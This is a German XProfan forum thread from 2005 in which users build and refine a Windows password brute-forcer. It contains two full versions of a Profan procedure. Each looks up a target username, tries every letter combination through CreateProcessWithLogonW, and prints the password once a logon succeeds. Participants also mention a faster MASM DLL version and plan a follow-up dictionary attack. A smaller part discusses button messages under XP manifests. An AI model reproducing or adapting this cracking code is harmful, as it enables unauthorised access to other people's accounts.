Deutsch
Stammtisch & Café

MASM32 und Profan

 
- Seite 1 -


Ha jemand etwas genauere Daten um wieviel MASM32 schneller ist als Profan? Hat das mal jemand getestet?
 
28.01.2005  
 



 
- Seite 2 -


Hallo Frank...

Besten Dank, daß du dir den Code schon mal angesehen hast. Da habe ich mir wirlich einige Anfängerschnitzer eingebaut.
- Einen Variablennamen falsch geschrieben,
- eine überflüssige Addition drin,
- XP Neuerungen nicht bedacht,
- Variable nicht richtig gelöscht

Ich will mal hoffen, daß die Message für die Buttonabfrage unter XP sich nicht geändert hat (es sind auf jeden Fall Werte dazugekommen) - sonst nimm zur Not in Profan @GETFOCUS. Ich hätte mir eigentlich denken können, daß das so nicht klappt => euer Problem mit den ToolTipps unter XP.

Die Fehlermeldung bei CreateProcessWithLogonW war etwas komplizierter. Wenn man nicht jedes Mal vorher dien Inhalt der zwei letzten Parameter löscht, kann es vorkommen (je nach dem, was sonst noch Text im Code steht), daß diese Variablen mit Sinnlosem Code gefüllt werden. Sie müssen deshalb jedes Mal vor dem Aufruf der Funktion auf Null gesetzt werden (stand auch schon im Quelltext).

Ich will mal hoffen das es jetzt auch bei dir funktioniert und ich nicht noch mehr Mist eingebaut habe:
Die Prozedur PWCHECK soll in die DLL

Proc PWCHECK

    Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
    1.Parameter=zu startendes Programm
    2.Parameter=Name des Users dessen Passwort ermittelt werden soll
    3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
    4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
    5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
    6.Parameter=Passwort, falls schon bekannt
    7.Parameter=Wo soll das Passwort ausgegeben werden?
    8.Parameter=Anzahl der durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declare lpStartupinfo#,lpProcessInformation#
    Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declare Anfangszeichen#,Zeichen#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Zeichen#,300
    Bei der LSA besonders wichtig - alle Variablen mit Null füllen
    Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Zeichen#
    @External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Strings werden in Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Zeichen#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
    @External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    LET StartZeit$=@TIME$(0) Kann evtl. weg
    LET STARTDATUM$=@DATE$(0) Kann evtl. weg
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Ich wandele hier die Strings in Unicode Strings um
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Long lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0) Streichen
        Vierzig Buchstaben reicht

        IF COUNT%>Buchstabenanzahl&

            LET ENDE%=1

        endif

        Wenn im Hauptfenster Abbruch gedrückt wurde soll beendet werden

        IF @sendmessage(Button&,$00F2,0,0)=108

            Messagebox wäre schön, muß aber nicht sein
            LET PANTWORT%=@MESSAGEBOX("Test befindet sich im Augenblick bei "+@STRING$(pw#,0)+".
            Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.","Wollen Sie den Test wirklich abbrechen?",292)
            CASE PANTWORT%=6 : LET ENDE%=1

        ENDIF

        SET("FastMode",1)
        Alle möglichen Bustabenkombinationen sollen durchgegangen werden

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            else

                LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)

                WEND

            else

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        Ich brauche wieder einen Unicode String
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        Die Funktion gibt nur 1 zurück, wenn das Passwort richtig war
        SET("FastMode",0)
        @External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
        @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Long lpStartupInfo#,0=68
        LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput

WEND

Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0

Nein, es werden keine Buchstaben abgehakt sonder immer wieder gedreht. Das Ganze ist nichts anderes als Zählen, hier aber nicht im Binär-, Octal- oder Hexalsystem sonder hier mit 26 bis maximal 255 unterschiedlichen Zuständen pro Stelle.
 
30.01.2005  
 




Frank
Abbing
Hi,

[quote:806da4d370]Nein, es werden keine Buchstaben abgehakt sonder immer wieder gedreht. Das Ganze ist nichts anderes als Zählen, hier aber nicht im Binär-, Octal- oder Hexalsystem sonder hier mit 26 bis maximal 255 unterschiedlichen Zuständen pro Stelle.[/quote:806da4d370]
Ja, verstanden.

Dein Progrämmchen findet nach wie vor nichts. Der Abbruch-Button hat auch keine Wirkung.
Hab momentan nicht viel Zeit, aber ich mach das Assemblersuchen fertig, wenn es wieder geht.
 
30.01.2005  
 



Hallo Frank...

Du mußt deinen Accountnamen eingeben, nicht den Namen, den dir WindowsXP anzeigt. Schau mal im Ordner Dokunente und Einstellungen nach den dort vorhandenen Verzeichnisnamen, das sind die unter anderem die Accountnamen. Außerdem hatte ich noch einen falschen Parameter bei MultiByteToWideChar drin. Die 2 muß weg und eine 0 rein (ich ändere es oben).
Hier mal noch was mit Anzeigeoption:
Die Prozedur PWCHECK soll in die DLL

Proc PWCHECK

    Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
    1.Parameter=zu startendes Programm
    2.Parameter=Name des Users dessen Passwort ermittelt werden soll
    3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
    4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
    5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
    6.Parameter=Passwort, falls schon bekannt
    7.Parameter=Wo soll das Passwort ausgegeben werden?
    8.Parameter=Anzahl der durchzurechnenden Buchstaben
    DECLARE COUNT%,Zähler%[41]
    Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declare lpStartupinfo#,lpProcessInformation#
    Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declare Anfangszeichen#,Zeichen#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM Zeichen#,300
    Bei der LSA besonders wichtig - alle Variablen mit Null füllen
    Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Zeichen#
    @External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Strings werden in Bereiche geschrieben
    String Anfangszeichen#,0=Anfangszeichen$
    String Zeichen#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
    @External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    Ich wandele hier die Strings in Unicode Strings um
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET Zähler%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Long lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0)

        IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)

            LET ENDE%=1

        ENDIF

        SET("FastMode",1)

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)

            else

                LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET Zähler%[COUNT%]=1
                    BYTE pw#,COUNT%=Zähler%[COUNT%]
                    INC COUNT%
                    LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
                    LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)

                WEND

            else

                LET Zähler%[COUNT%]=Zähler%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
        @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Long lpStartupInfo#,0=68
        LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput
    Case %MENUITEM=-2 : END

WEND

Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Locate 20,0
Print "Funktion wurde am "+@Date$(1)+" um "+@TIME$(0)+" Uhr gestartet..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText$(Ba&),@GetText$(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
 
30.01.2005  
 



Ach ja...

BUTTON :roll:

Dazu mal ein Test:
cls
Declare Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)

While 0=0

    Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+"                          "
    sleep 10

wend


Die Message Fragt den Status des Buttons ab. Folgende Werte gibt sie bei mir zurück:
- Button nicht gedrückt=0
- Mauscursor liegt auf Button=keine Änderung
- Button gedrückt=108
- Focus liegt auf Button=8
- Focus liegt nicht auf Button=0

Ich habe den Verdacht das XProfan mit Manifest hier andere und noch mehr Werte zurückgiebt. Wenn ja, dürfte das auch der Grund für das Tooltipp Problem unter XP sein...
 
30.01.2005  
 




Frank
Abbing
Hi,

Aber die Tooltippgeschichte wird doch von Windows verwaltet...
 
30.01.2005  
 



[quote:c026f5ab54]
Aber die Tooltippgeschichte wird doch von Windows verwaltet...
[/quote:c026f5ab54]
Der Status des Buttons doch auch, oder? Ich gehe mal ganz stark davon aus, daß der Status des Buttons, wenn er noch nicht gedrückt wurde und der Mauscursor auf ihm ruht nicht 512 ist - ist das richtig?
Genau da liegt wohl das Problem mit den Tooltipps - ich kanns leider nicht testen, aber ich denke ich hab recht.

PS: Entfern das Manifest und mein Quelltext läuft.
 
30.01.2005  
 




Frank
Abbing
Hi,

Du irrst dich. Er ist dann 512. Wie schon geschrieben
Hab den MASM-Code fertig und poste ihn gleich.
 
30.01.2005  
 




Frank
Abbing
Hi,

so, hier das Testprogramm. Passwörter müssen Großbuchstaben sein. Die Zeiten zum Errechnen decken sich mit den Werten von der Webpage, die iF hier gepostet hatte, für 26er Passwörter.

Der Assemblercode ist noch nicht optimiert und benutzt zum Vergleich der Strings die API lstrcmp(), die aber sehr schnell arbeitet.

2 kB
Hochgeladen:30.01.2005
Ladeanzahl140
Herunterladen
 
30.01.2005  
 



 
- Seite 3 -



Rolf
Koch
Hi AH,

[quote:2bf116be6f]
Entfern das Manifest und mein Quelltext läuft
[/quote:2bf116be6f]
Um Gottes Willen - weist Du eigentlich wie schäbig das alte Design von Windows aussieht, wenn man von Win 9x auf XP umgestiegen ist.
In meinen Augen ist die Manifest eins der wichtigen Dinge der Windows Neuerungen.

Ich lach mich tot, wenn ich heute die globigen viereckigen langweiligen Buttons sehe. Gibt designtechnisch nix schlimmeres.

Aufm MAC war das vorher schon schöner. Flach und Hovermässig. Frisch wie hier die Community.

Rolf
 
30.01.2005  
 



Hallöchen Rolf...

Ich denke mal, man sollte sich zumindestens sehr genau damit auseinandersetzen was da genau verbogen wird - und wie man hier sieht scheinen das ganz grundlegende Sachen zu sein...
 
30.01.2005  
 




Rolf
Koch
...
da gebe ich Dir natürlich absolut Recht, AH.
Ich habe es ja nur aus Sicht des Designs und nicht aus Sicht des Ablaufs gesehen.
Ist halt Schade, daß die Manifest auch andere Messages auslöst.

Rolf
 
30.01.2005  
 



Hallo Frank...

Besten Dank für deine Test DLL. Das war genau das, was ich erst einmal gebraucht habe. Man könnte also bis zum fünften Buchstaben über eine MASM DLL gehen und danach das Passwort mit Wörtern aus einem Wörterbuch beschießen. Ich habe jetzt etwas länger Fortbildung und Nachtschicht, danach werde ich mich an ein Programm begeben, das mir automatisch Wörter für dieses Wörterbuch sammelt.

@Rolf: Was nützt das schönste Design wenn Buttons, Tooltipps und Groupboxes nicht mehr funktionieren weil die Rückgaben von Messages einfach verschoben werden?
 
31.01.2005  
 




Antworten


Thementitel, max. 100 Zeichen.
 

Systemprofile:

Kein Systemprofil angelegt. [anlegen]

XProfan:

 Beitrag  Schrift  Smilies  ▼ 

Bitte anmelden um einen Beitrag zu verfassen.
 

Themenoptionen

25.038 Betrachtungen

Unbenanntvor 0 min.

Themeninformationen



Admins  |  AGB  |  Anwendungen  |  Autoren  |  Chat  |  Datenschutz  |  Download  |  Eingangshalle  |  Hilfe  |  Händlerportal  |  Impressum  |  Mart  |  Schnittstellen  |  SDK  |  Services  |  Spiele  |  Suche  |  Support

Ein Projekt aller XProfaner, die es gibt!


Mein XProfan
Private Nachrichten
Eigenes Ablageforum
Themen-Merkliste
Eigene Beiträge
Eigene Themen
Zwischenablage
Abmelden
 Deutsch English Français Español Italia
Übersetzungen

Datenschutz


Wir verwenden Cookies nur als Session-Cookies wegen der technischen Notwendigkeit und bei uns gibt es keine Cookies von Drittanbietern.

Wenn du hier auf unsere Webseite klickst oder navigierst, stimmst du unserer Erfassung von Informationen in unseren Cookies auf XProfan.Net zu.

Weitere Informationen zu unseren Cookies und dazu, wie du die Kontrolle darüber behältst, findest du in unserer nachfolgenden Datenschutzerklärung.


einverstandenDatenschutzerklärung
Ich möchte keinen Cookie